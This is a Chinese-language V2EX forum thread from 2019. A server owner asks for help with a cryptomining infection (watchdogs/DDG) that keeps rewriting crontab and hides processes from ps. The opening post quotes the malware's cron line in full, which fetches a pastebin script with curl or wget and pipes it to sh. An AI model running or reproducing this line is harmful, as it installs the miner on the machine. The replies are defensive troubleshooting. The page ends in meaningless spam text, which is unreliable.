阿里云服务器被挂马,被写入 crontab 删不掉。ps 命令找不到 nginx PHP 进程信息 - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
hobbyliu
V2EX    信息安全

阿里云服务器被挂马,被写入 crontab 删不掉。ps 命令找不到 nginx PHP 进程信息

  •  
  •   hobbyliu 2019-02-21 14:14:13 +08:00 7596 次点击
    这是一个创建于 2425 天前的主题,其中的信息可能已经有所发展或是发生改变。

    */15 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh

    crontab 被写入这段代码。删除后一会又自动加上。

    ps 命令看到的进程很奇怪,php nginx 进程找你不到了,但是服务正常。

    怀疑 ps 被修改, 已经从其他服务器替换了回来,但是依旧不行。

    26 条回复    2019-02-26 13:34:52 +08:00
    ThirdFlame
        1
    ThirdFlame  
       2019-02-21 14:27:44 +08:00
    可能不止 PS 被替换了啊
    watchdogs 还在运行呢。
    dapang1221
        2
    dapang1221  
       2019-02-21 14:32:53 +08:00
    alias,查一下是不是 ps 被设置别名,把奇怪的进程 grep 掉了
    hcymk2
        3
    hcymk2  
       2019-02-21 14:35:09 +08:00   1
    cpdyj0
        4
    cpdyj0  
       2019-02-21 15:20:08 +08:00 via Android
    检查下内核模块,有没有什么奇怪的东西
    huixia0010
        5
    huixia0010  
       2019-02-21 15:37:03 +08:00
    有 memcache 吗~有的话,关掉试试~
    allenhu
        6
    allenhu  
       2019-02-21 15:48:20 +08:00
    @cpdyj0 好像很有道理,但是怎么检查?
    rogerchen
        7
    rogerchen  
       2019-02-21 16:06:22 +08:00 via iPhone
    重置吧,手工不能打过 rootkit 的
    hobbyliu
        8
    hobbyliu  
    OP
       2019-02-21 16:14:50 +08:00
    @huixia0010 并没有,只有 redis 怀疑是 redis 注入 shell 但是,redis 进程号找不到。。ps 命令不好使了
    greatbody
        9
    greatbody  
       2019-02-21 16:34:01 +08:00
    用 terraform 来管理基础设置,然后把服务全部都用容器。最后,数据库什么的都用云数据库。

    应该会好很多。
    ThirdFlame
        10
    ThirdFlame  
       2019-02-21 17:01:37 +08:00
    @hobbyliu ps ls 可能都被替换了。
    c0878
        11
    c0878  
       2019-02-21 17:13:34 +08:00
    保存数据 重装系统
    另外阿里云态势感知可以用一下
    changliwei
        12
    changliwei  
       2019-02-21 18:51:45 +08:00
    可以实时 csysdiag 程序查看,
    sysdig 这个工具的原理不是读取 /proc/的统计值,通过加载一个内核模块,对内核插入各种探测点,动态采集原始数据,再进行分析,恶意软件的隐身原理对 sysdig 不适用了.

    top/iotop/lsof/netstat /ps 等工具都是 /proc 下内核统计值工作的工具,很容易被恶意软件的隐藏没法查看。

    安装 csysdiag 就可以查看,centos
    curl -s https://s3.amazonaws.com/download.draios.com/stable/install-sysdig | sudo bash


    Viewing: Processes For: whole machine
    Source: Live System Filter: evt.type!=switch
    PID CPU USER TH VIRT RES FILE NET Command
    4101 100.00 1 317M 5M 0 0.00 <NA>
    1012 4.00 root 1 118M 19M 0 0.00 csysdig
    30087 0.50 1 4G 3G 0 0.00 <NA>
    30084 0.50 1 4G 3G 0 0.00 <NA>
    29063 0.50 1 3G 2G 0 0.00 <NA>
    9387 0.50 1 4G 3G 0 0.00 <NA>
    4058 0.50 1 108M 40M 0 1.69K <NA>




    [root@centos ]# ls -l /prox/4101
    total 0
    dr-xr-xr-x 2 root root 0 Feb 21 18:43 attr
    -rw-r--r-- 1 root root 0 Feb 21 18:43 autogroup
    -r-------- 1 root root 0 Feb 21 18:43 auxv
    -r--r--r-- 1 root root 0 Feb 21 18:43 cgroup
    --w------- 1 root root 0 Feb 21 18:43 clear_refs
    -r--r--r-- 1 root root 0 Feb 21 18:43 cmdline
    -rw-r--r-- 1 root root 0 Feb 21 18:43 comm
    -rw-r--r-- 1 root root 0 Feb 21 18:43 coredump_filter
    -r--r--r-- 1 root root 0 Feb 21 18:43 cpuset
    lrwxrwxrwx 1 root root 0 Feb 21 18:43 cwd -> /
    -r-------- 1 root root 0 Feb 21 18:43 environ
    lrwxrwxrwx 1 root root 0 Feb 21 18:43 exe -> /tmp/ksoftirqds (deleted)
    hobbyliu
        13
    hobbyliu  
    OP
       2019-02-21 22:00:22 +08:00
    @changliwei 试了一下,还是进程缺失,php nginx 进程还是看不到
    [![kWlAxJ.md.png]( https://s2.ax1x.com/2019/02/21/kWlAxJ.md.png)]( https://imgchr.com/i/kWlAxJ)
    Acoffice
        14
    Acoffice  
       2019-02-21 22:35:15 +08:00 via Android
    今天上午也有个同事问这个问题,楼主如果解决,麻烦贴出解决方案哦
    Acoffice
        15
    Acoffice  
       2019-02-21 22:52:23 +08:00 via Android
    链接点进去解密可以看到定时任务都执行了什么
    Acoffice
        16
    Acoffice  
       2019-02-21 22:53:10 +08:00 via Android
    太长,我就不往上贴了
    Acoffice
        17
    Acoffice  
       2019-02-21 23:16:16 +08:00 via Android
    简单分析了下,
    解决点:卸载 curl 命令,然后删除 cron,kill 掉 nohup /tmp/watchdogs >/dev/null 2>&1 进程,
    然后再细看解密后都执行了哪些命令,挨个恢复.
    abcbuzhiming
        18
    abcbuzhiming  
       2019-02-21 23:46:55 +08:00
    兄弟,我和你症状一模一样啊
    t/537457
    hobbyliu
        19
    hobbyliu  
    OP
       2019-02-22 00:48:24 +08:00
    @Acoffice 我更改了下 host 127.0.0.1 pastebin.com 基本控制住了,但是没有根治啊。找阿里云客服说也没办法让备份恢复系统盘解决。
    sdksang
        20
    sdksang  
       2019-02-22 17:31:16 +08:00
    大兄弟 中了 DDG 啊 。。
    hobbyliu
        21
    hobbyliu  
    OP
       2019-02-22 17:38:32 +08:00
    @sdksang ddg 的变异,用处理的 ddg 的方法根本处理不了。
    hyshuang2006
        22
    hyshuang2006  
       2019-02-22 21:48:48 +08:00
    哎...我的 VPS 惨了,连 root 都进不去。
    hobbyliu
        23
    hobbyliu  
    OP
       2019-02-23 06:16:23 +08:00
    @hyshuang2006 你设置的不允许密码登录?
    hyshuang2006
        24
    hyshuang2006  
       2019-02-23 20:06:51 +08:00
    @hobbyliu 对啊,密钥登陆。原来密钥登陆也存在隐患。唉...

    不过也是好事情,这回找时间充电,认真对待:补写脚本及安全方面。
    metas
        25
    metas  
       2019-02-26 11:26:57 +08:00
    应该是被被植入了 watchdogs 挖矿病毒,楼主可以看看腾讯安全云鼎实验室的清理方式:

    https://mp.weixin.qq.com/s/3V0HVEREZWU8SkRWLspaxg
    hobbyliu
        26
    hobbyliu  
    OP
       2019-02-26 13:34:52 +08:00
    @metas 感谢 我研究下
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     2696 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 27ms UTC 09:50 PVG 17:50 LAX 02:50 JFK 05:50
    Do have faith in what you're doing.
    ubao snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86